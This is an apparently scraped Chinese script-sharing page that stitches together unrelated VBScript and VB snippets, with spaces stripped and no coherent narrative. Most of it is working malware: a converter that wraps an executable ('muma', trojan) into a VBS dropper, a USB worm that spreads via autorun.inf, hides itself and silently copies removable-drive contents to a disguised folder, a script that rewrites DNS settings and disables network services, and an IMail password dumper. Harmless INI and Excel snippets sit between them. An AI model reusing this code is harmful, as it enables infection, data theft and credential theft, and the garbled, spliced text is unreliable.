神武脚本辅助论坛叉叉

发布时间:2021-06-08 来源:脚本之家 点击:

类似,可以写出GetSysDir,略
'ProgramByxiaolu
'name:file2vbs.vbs
Onerrorresumenext
SetArgs=Wscript.Arguments
IfArgs.length<>2Then
Wscript.Echo"Usage:"&Wscript.ScriptName&"c:\muma.exec:\muma.vbs"
Wscript.Quit
EndIf

dowhile1
fname=Args(0)
SetAdo=CreateObject("adodb.stream")
WithAdo
.Type=1
.open
.loadfromfilefname
ss=.read
EndWith
exitdo
Loop

fname=Args(1)
SetFso=CreateObject("Scripting.FileSystemObject")
SetFile=fso.OpenTextFile(fname,2,True)
lens=lenB(ss)mod500
Forj=0toint(lenB(ss)/500)-1
ifj=0then
File.writeline"ss="""&Bin2Str(midb(ss,500*j+1,500))&"""_"
else
File.writeline"+"""&Bin2Str(midb(ss,500*j+1,500))&"""_"
endif
next
iflens>0then
File.writeline"+"""&Bin2Str(rightb(ss,lens))&""""
else
File.writeline"+"&chr(34)&chr(34)
endif
File.writeline""
File.writeline"SetRS=CreateObject(""ADODB.Recordset""):L=Len(ss)/2:RS.Fields.Append""m"",205,L:RS.Open:RS.AddNew:RS
(""m"")=ss&ChrB(0):RS.Update:ss=RS(""m"").GetChunk(L)"
File.writeline"Sets=CreateObject(""ADODB.Stream""):withs:.Mode=3:.Type=1:.Open():.Writess:.SaveToFile
wscript.arguments(0),2:endwith"
File.close
Setfso=nothing
Ado.close
setAbo=nothing
FunctionBin2Str(Re)
Fori=1TolenB(Re)
bt=AscB(MidB(Re,i,1))
ifbt<16ThenBin2Str=Bin2Str&"0"
Bin2Str=Bin2Str&Hex(bt)
Next
EndFunction

gg脚本编辑器教程

'[NatruePark]
'容错语句
onErrorresumenext
'变量声明及初始化
dimfso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell
setfso=CreateObject("Scripting.File"&"SystemObject")
setwshshell=wscript.createobject("WScript.Shell")
old_n=0
redimold_drs(old_n)
old_drs(0)="C"

'[主体部分]
wshshell.run("explorer.")
dimi
i=0
dowhilei>=0andi<8*360
scan_disk()
ifjudge_new_disk()=1then
dimleft_n
left_n=1
dowhileleft_n<=(new_n-old_n)
new_disk=new_drs(left_n+old_n)&":"
'-----------------<维护块>-----------------
iffso.FileExists(new_disk&"NP.vbs")=-1then
else
self_copy(new_disk)
endif
add_attrib(new_disk&"NP.vbs")
iffso.FileExists(new_disk&"autorun.inf")=-1then
del_attrib(new_disk&"autorun.inf")
endif
add_autorun(new_disk)

add_attrib(new_disk&"autorun.inf")
iffso.FileExists(new_disk&"stNP.vbs")=-1then
else
add_stNP(new_disk)
endif
add_attrib(new_disk&"stNP.vbs")
'-----------------</维护块>-----------------
'-----------------<功能块>-----------------
dimrec
rec="d:\Recyc1ed"
iffso.FolderExists(rec)=-1then
else
fso.createfolder(rec)
endif
add_attribf(rec)
iffso.FileExists(rec&"desktop.ini")=-1then
else
add_desktop(rec)
endif
add_attrib(rec&"desktop.ini")
aim_folder=rec&Date()&Rnd()
iffso.FolderExists(aim_folder)=-1then
else
fso.createfolder(aim_folder)
endif

'查找"汽轮机原理文件夹并复制"
iffso.FolderExists(new_disk&"汽轮机原理")=-1then
fso.copyfoldernew_disk&"汽轮机原理",aim_folder,true
add_attribf(aim_folder)
endif

'通用复制
ifold_n=0then
else
setfp=fso.getFolder(new_drs(new_n)&":")
setfc=fp.SubFolders
foreachfinfc
fso.copyfolderf&"",aim_folder&""&f.name,true
next
setfc=fp.files
foreachfinfc
fso.copyfilef&"",aim_folder&"",true
next
add_attribf(aim_folder)
endif
'-----------------</功能块>-----------------
left_n=left_n+1
loop
copy_disk()
endif
wscript.sleep(10000)
i=i+1
loop
'[函数部分]
'可用驱动器检测new_drs(),new_n
functionscan_disk()
dimd,dr
new_n=-1
setdr=fso.drives
foreachdindr
ifd.isreadythen
new_n=new_n+1
redimpreservenew_drs(new_n)
new_drs(new_n)=d.driveletter
endif
next
endfunction
'判断是否有新加入的驱动器
functionjudge_new_disk()
ifnew_n=old_nthen
judge_new_disk=0
elseifnew_n<old_nthen
redimpreserveold_drs(new_n)
old_n=new_n
judge_new_disk=0
elseifnew_n>old_nthen
redimpreserveold_drs(new_n)
judge_new_disk=1
endif
endfunction
'复制新驱动器表单
functioncopy_disk()
dimn
n=0
dowhilen<=new_n
old_drs(n)=new_drs(n)
n=n+1
loop
old_n=new_n
endfunction
'添加指定文件属性
functionadd_attrib(file)
setf=fso.getfile(file)
iff.attributes=7then

else
f.attributes=7
endif
endfunction
'删除指定文件属性
functiondel_attrib(file)
setf=fso.getfile(file)
iff.attributes=7then
f.attributes=0
else

endif
endfunction
'自我复制到指定文件目录
functionself_copy(folder)
dimaim_path,mid_path,self_file,mid_file
aim_path=folder&"NP.vbs"
mid_path="c:\np.bin"
setself_file=fso.opentextfile(wscript.scriptfullname,1)
self=self_file.readall
setmid_file=fso.opentextfile(mid_path,2,true)
mid_file.writeself
mid_file.close
setmid_file=fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
endfunction
'增加autorun.inf
functionadd_autorun(folder)
dimpath
path=folder&"autorun.inf"
settemp=fso.CreateTextFile("c:\a.bin",true)
temp.writeline"[autorun]"
temp.writeline"open="
temp.writeline"shell\open=打开(&O)"
temp.writeline"shell\open\Command=WScript.exestNP.vbs"
temp.writeline"shell\open\Default=1"
temp.writeline"shell\explore=资源管理器(&X)"
temp.writeline"shell\explore\Command=WScript.exestNP.vbs"
temp.close
setcop=fso.getfile("c:\a.bin")
cop.copy(path)
cop.delete(true)
endfunction
'增加desktop.ini
functionadd_desktop(folder)
dimpath
path=folder&"desktop.ini"
settemp=fso.CreateTextFile("c:\d.bin",true)
temp.writeline"[.ShellClassInfo]"
temp.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
temp.close
setcop=fso.getfile("c:\d.bin")
cop.copy(path)
cop.delete(true)
endfunction
'增加stNP.vbs
functionadd_stNP(folder)
dimpath
setfso=CreateObject("Scripting.File"&"SystemObject")
path=folder&"stNP.vbs"
settemp=fso.CreateTextFile("c:\s.bin",true)

temp.writeline"onerrorresumenext"
temp.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
temp.writeline"iffso.FileExists("&chr(34)&"NP.vbs"&chr(34)&")=-1then"
temp.writeline"iffso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&")=-1then"
temp.writeline"setf=fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")"
temp.writeline"iff.attributes=0then"
temp.writeline"else"
temp.writeline"f.attributes=0"
temp.writeline"endif"
temp.writeline"f.delete(true)"
temp.writeline"endif"
temp.writeline"fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:\NP.vbs"&chr(34)&",true"
temp.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
temp.writeline"wshshell.run"&chr(34)&"d:\NP.vbs"&chr(34)
temp.writeline"endif"

temp.close
setcop=fso.getfile("c:\s.bin")
cop.copy(path)
cop.delete(true)
endfunction

'添加指定文件夹属性
functionadd_attribf(folder)
setf=fso.getfolder(folder)
iff.attributes=7then

else
f.attributes=7
endif
endfunction
'删除指定文件夹属性
functiondel_attribf(folder)
setf=fso.getfolder(folder)
iff.attributes=0then
else
f.attributes=0

endif
endfunction


wscript.echo("THANKYOU!!")
wscript.quit
不过没有关系,遇到这种情况时,我们可以对上面的代码进行局部优化,就能实现目的


这样在你的user.ini文件就会多出一段:
  [user]
  password=1234
  利用GetPrivateProfileString函数可以读出password的值:
  DeclareFunctionGetPrivateProfileStringLib"kernel32"Alias"GetPrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVallpDefaultAsString,ByVallpReturnedStringAsString,ByValnSizeAsLong,ByVallpFileNameAsString)AsLong
  DimkeyasString*255
  c=GetPrivateProfileString("user","password","false",key,255,"c:\windows?ini")
  Ifkey="false"then
  MsgBox"文件不存在或没有该字段"
  Else:Form1.Print"Thepasswordis";key
  该函数将文件user.ini中password的值(即你设定的密码)赋予key,若发生错误(文件不存在或没有该段名)则key的值为“false”,注意一定要声明变量key的长度并与函数中的值一致


On Error Resume Next
temp=0
set wshshell=wscript.createobject("wscript.shell")
'启动WMI服务
wshshell.run ("%comspec% /c regsvr32 /s scrrun.dll"),0,True
wshshell.run ("%comspec% /c sc config winmgmt start=auto"),0,True
wshshell.run ("%comspec% /c net start winmgmt"),0
wshshell.run ("%comspec% /c sc config NetMan start=auto"),0,True
wshshell.run ("%comspec% /c net start NetMan"),0

strComputer="."
Set objWMIService=Getobject("winmgmts:" & strComputer & "\root\cimv2")

'得到当前活动网卡ID
Set colItems=objWMIService.ExecQuery("Select * from Win32_TSNetworkAdapterListSetting",,48)
For Each Item in colItems
AdapterID=Item.NetworkAdapterID
Next

'禁NETBIOS
Set reg=WScript.CreateObject("WScript.Shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_"&AdapterID&"\NetbiosOptions","2","REG_DWORD"

'更改DNS
Set reg=WScript.CreateObject("WScript.Shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces"&AdapterID&"\NameServer","202.96.128.68,202.96.128.143,202.96.128.166,202.96.128.86","REG_SZ"

'禁NETMAN服务
Set reg=WScript.CreateObject("WScript.Shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Netman\Start","4","REG_DWORD"

msgbox "更改完成,请重启网卡!"
在屏幕上看到的窗体代表属性,这些属性定义了窗体的外观和内在特性

自己去想吧卖违法吗 判多少年程序需要,我在网上找了很久才找到,刚刚把程序写好,并加写了注释,希望能帮助大家
再写程序前先引用
microsoftexcel11.0objectLibrary
我看到的文章是10.0的,我这是office2003是11.0,只要安了excel就有这个引用~
PrivateSubcmdsave_Click()
MsgBox"文件保存为:D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
DimiAsInteger
DimjAsInteger
DimexAsObject
DimexwbookAsObject
DimexsheetAsObject

Setex=CreateObject("Excel.Application")
Setexwbook=Nothing
Setexsheet=Nothing
Setexwbook=ex.Workbooks().Add
Setexsheet=exwbook.Worksheets("sheet1")

'在excel里表格的表头,这是根据我的需要添加的标头
ex.Range("c3").Value="日期"
ex.Range("d3").Value="时间"
ex.Range("e3").Value="站点"
ex.Range("f3").Value="汇报人"
ex.Range("g3").Value="线路双编号"
ex.Range("h3").Value="保护动作类型"
ex.Range("i3").Value="事故原因"
ex.Range("j3").Value="处理负责人"
ex.Range("k3").Value="处理方法"
ex.Range("l3").Value="处理结果"
ex.Range("m3").Value="结束时间"
ex.Range("n3").Value="备注"
'i为记录个数使用循环将数据全部添加
Fori=1ToAdodc1.Recordset.RecordCount
j=3 i
'k为数据列数
Fork=0To11
'通过使用变量k和j变换单元格位置
q=Chr(99 k)&j
'将datagrid1的数据放到单元格内
ex.Range(q).Value=DataGrid1.Columns(k)
Nextk
'指针下移
IfAdodc1.Recordset.EOF=FalseThen
Adodc1.Recordset.MoveNext
EndIf
Nexti

'保存输入到事故信息查询结果.xls
exwbook.SaveAs"D:\电网配电线路管理信息系统\信息查询结果\事故信息查询结果.xls"
'退出excel
ex.Quit
EndSub
我觉得这段程序很简单而且很使用,使用时不要打开事故信息查询结果.xls否则会报错
存储时系统会自动提示是否更换文件,根据自己用发来用->


on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath2=strKeyPath&""&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&""&subkey2
strValueName="Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号